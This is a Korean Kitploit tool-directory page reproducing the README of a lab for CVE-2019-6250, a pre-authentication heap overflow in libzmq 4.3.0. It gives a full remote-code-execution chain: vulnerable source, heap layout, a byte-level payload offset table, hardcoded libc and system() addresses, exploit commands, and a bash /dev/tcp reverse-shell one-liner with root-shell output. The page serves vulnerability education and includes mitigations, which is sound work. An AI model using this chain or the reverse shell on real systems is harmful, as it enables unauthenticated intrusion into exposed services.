Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2019-6250-lab — CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 와이어 프로토콜)에 대한 종단 간 사전 인증 RCE 실습 환경 | Kitploit
도구/GitHubGitHub/dinosn/cve-2019-6250-lab
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationRemote Access ToolPayload DevelopmentBinary ExploitationLabs & Practice
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 와이어 프로토콜)에 대한 종단 간 사전 인증 RCE 실습 환경

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-6250 — libzmq 사전 인증 RCE 랩

CVE CVSS Affected License

CVE-2019-6250에 대한 종단 간 작동 RCE 체인 + 재현 가능한 랩입니다. libzmq의 v2_decoder_t::size_ready에 있는 사전 인증 힙 버퍼 오버플로 취약점입니다. uint64_t 포인터 산술 오버플로를 통해 인증되지 않은 피어가 ZMTP/2.0 와이어 경로에서 인접한 msg_t::content_t::ffn 함수 포인터를 덮어쓴 다음 TCP 소켓 종료(~v2_decoder_t() → _in_progress.close() → system(cmd))를 통해 트리거할 수 있습니다.

작성자: Nicolas Krassas (@dinosn).

랩 전용입니다. 이 키트는 의도적으로 취약하게 만든 libzmq 4.3.0을 제공합니다. 랩 외부에서 포트 5555를 노출하지 마십시오. 이 버그는 7년 전 libzmq 4.3.1에서 수정되었습니다(커밋 1a2ed127).


데모

system() 체인 — 파일 증명

시스템 체인

리버스 셸 — 대화형 루트

리버스 셸

자동화된 종단 간 스모크 테스트

스모크 테스트


요약 (Docker)

root@kitploit:~
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

요약 (베어 메탈 — Debian 12 / Kali 2024.x / Ubuntu 22.04)

root@kitploit:~
sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

리버스 셸

root@kitploit:~
# terminal 1 — listener
nc -lvnp 4444

# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

다음과 같은 출력이 표시됩니다:

root@kitploit:~
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

cannot set terminal process group (1355844) 줄은 셸이 로컬에서 실행한 것이 아니라 libzmq 대상 프로세스(PID 1355844)에 의해 생성되었음을 확인합니다.


저장소 구조

root@kitploit:~
.
├── README.md             # 현재 위치
├── server.c              # 작은 PULL 리스너 — 취약한 대상
├── exploit.py            # 전체 RCE 체인
├── setup.sh              # 베어 메탈 프로비저너 (libzmq 4.3.0 클론 및 빌드)
├── start_server.sh       # 대상 시작/재시작
├── read_addresses.sh     # 다른 이미지에 대한 주소 프로필 재생성
├── run_lab_test.sh       # 자동화된 종단 간 스모크 테스트 (CI 친화적)
├── Dockerfile            # 단일 명령 컨테이너화된 랩
└── screenshots/          # README 스크린샷 (charmbracelet/freeze로 생성)

작동 방식

1. 버그

src/v2_decoder.cpp:117 (libzmq 4.3.0):

root@kitploit:~
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_는 공격자가 제어하는 ZMTP/2.0 LARGE 프레임 헤더의 빅 엔디안 uint64_t입니다. msg_size_ = 0xFFFFFFFFFFFFFFFF인 경우 합 read_pos_ + msg_size_가 2⁶⁴ 모듈로 래핑되어 오른쪽보다 작아집니다. 경계 검사가 false로 평가 → 실행이 제로 카피 경로로 넘어감 → _in_progress 메시지가 수신 버퍼를 별칭합니다. 그러면 디코더가 read_pos_에서 0xFFFFFFFFFFFFFFFF 바이트를 더 커널에 요청하고, recv()는 수신 버퍼 끝을 지나 인접한 content_t[] 배열(decoder_allocators.cpp:88에서 동일한 malloc() 청크에 할당됨)에 페이로드를 기꺼이 기록합니다.

2. 체인

root@kitploit:~
[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

다음과 같이 구성된 8224 바이트 페이로드를 보냅니다:

TCP 소켓을 닫으면 서버의 ~v2_decoder_t()가 _in_progress.close()를 호출합니다. msg_t::close에서:

root@kitploit:~
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage가 _u.zclmsg.flags = 0으로 설정하므로 OR 단축 평가가 즉시 분기를 취합니다. refcnt는 확인되지도 않습니다. 덮어쓴 ffn이 실행됩니다.

ROP, 셸코드, 정보 유출 없음: 하나의 libc 심볼 해석과 하나의 인라인 명령 문자열만 필요합니다.

3. 사전 인증 v2_decoder_t 접근

stream_engine.cpp:707에서:

root@kitploit:~
bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

ZMTP/2.0 경로는 메커니즘 없이 v2_decoder_t를 인스턴스화합니다. ZAP만 2.0 연결을 거부하며, ZAP은 기본적으로 꺼져 있습니다. 피어가 12바이트 ZMTP/2.0 인사(0xff + 8개 널 + 0x7f + 리비전 0x01 + 소켓 유형)를 보내면 이후 모든 바이트는 v2_decoder_t에 의해 구문 분석됩니다. 인증 없음. 핸드셰이크 없음. 메커니즘 상태 머신 없음.


ASAN 증거

선택 사항: -fsanitize=address로 빌드하고 힙 버퍼 오버플로 보고서를 확인하세요:

ASAN 보고서

0 bytes after 18160-byte region은 우리가 계산한 청크 크기를 확인합니다: 8(atomic_counter) + 8192(수신 버퍼) + 249 × 40(content_t 배열) = 18160. handshake_v2_0:719의 할당 사이트는 버그가 사전 인증 ZMTP/2.0 경로에서 발생함을 확인합니다.


하드코딩된 주소를 사용하는 이유

kernel.randomize_va_space=0으로 설정하면 libc 베이스, libzmq 베이스, 힙, I/O 스레드의 malloc 아레나가 모두 결정론적 주소에 있습니다. exploit.py의 기본 프로필(DEFAULT_PROFILE)은 번들 랩 빌드(Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 릴리스 모드 -O2)에 대해 캡처되었습니다:

다른 glibc / libzmq 빌드로 이식할 때는 start_server.sh 후에 ./read_addresses.sh > profile.json을 실행한 다음 --profile profile.json을 익스플로잇에 전달하십시오.

실제 공격에서는 정보 유출 기본 요소나 인수 제어가 필요 없는 one-gadget 호출이 필요합니다. 둘 다 이 랩의 범위를 벗어납니다. 여기서의 목표는 버그에서 셸까지의 파이프라인을 깔끔하게 시연하는 것이지, ASLR을 무력화하는 것이 아닙니다.


완화 조치


정리

root@kitploit:~
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2     # 기본 ASLR 복원

참고 자료

  • HackerOne #477073 — 원본 공개 (Guido Vranken).
  • zeromq/libzmq PR #3353 — 한 줄 수정.
  • zeromq/libzmq issue #3351 — 공개 논의.
  • NVD CVE-2019-6250.
  • 37/ZMTP — ZeroMQ 메시지 전송 프로토콜 사양.
  • SystemTek writeup.

작성자

Nicolas Krassas — @dinosn

라이선스

MIT © Nicolas Krassas. 의도적으로 취약하게 만든 libzmq 4.3.0 소스는 빌드 시 상류 LGPLv3 예외 조항 / MPLv2 저장소에서 가져옵니다. 해당 코드에는 별도로 라이선스가 적용됩니다.

면책 조항

방어적 보안 연구, 교육 및 승인된 보안 테스트 전용입니다. 포함된 랩 환경 외부에 번들로 제공된 취약한 빌드를 배포하지 마십시오.

도구 다운로드
페이로드 오프셋바이트덮어쓰는 대상
[0:16]패딩(수신 버퍼 내)
[16:K]명령 문자열 + NULL(수신 버퍼 내 — system의 인수)
[K:8183]패딩(수신 버퍼 내)
[8183:8191]read_pos+16content_t[0].data (→ 명령)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (제어 흐름 대상)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt
필드값출처
libc_base0x7ffff7c00000/proc/<pid>/maps
system_off0x53910nm -D /lib/x86_64-linux-gnu/libc.so.6
read_pos0x7ffff000bbc1_buf + sizeof(atomic_counter_t) + 9
dist_to_content8183레이아웃에서 파생
cmd_offset16페이로드에서 명령을 넣는 위치
방어효과
libzmq ≥ 4.3.1로 업그레이드수정됨. 커밋 1a2ed127가 경계 검사를 msg_size_ > size_t(allocator.data()+size()-read_pos_)로 다시 작성 — 오버플로 불가능.
임의의 양수 n으로 zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n))완화됨. 오버플로가 발생하기 전에 손상된 경계 검사를 차단.
ZAP 인증 활성화ZMTP/2.0 연결 차단(stream_engine.cpp:709에서 거부). 버그를 수정하지는 않음; 인증되지 않은 경로만 차단.
ASLR무기화를 늦추지만 막지는 못함 — 체인 기본 요소 자체는 영향받지 않음.
스택 카나리 / NX / RELRO이들 중 어느 것도 힙 함수 포인터 하이재킹을 보호하지 못함.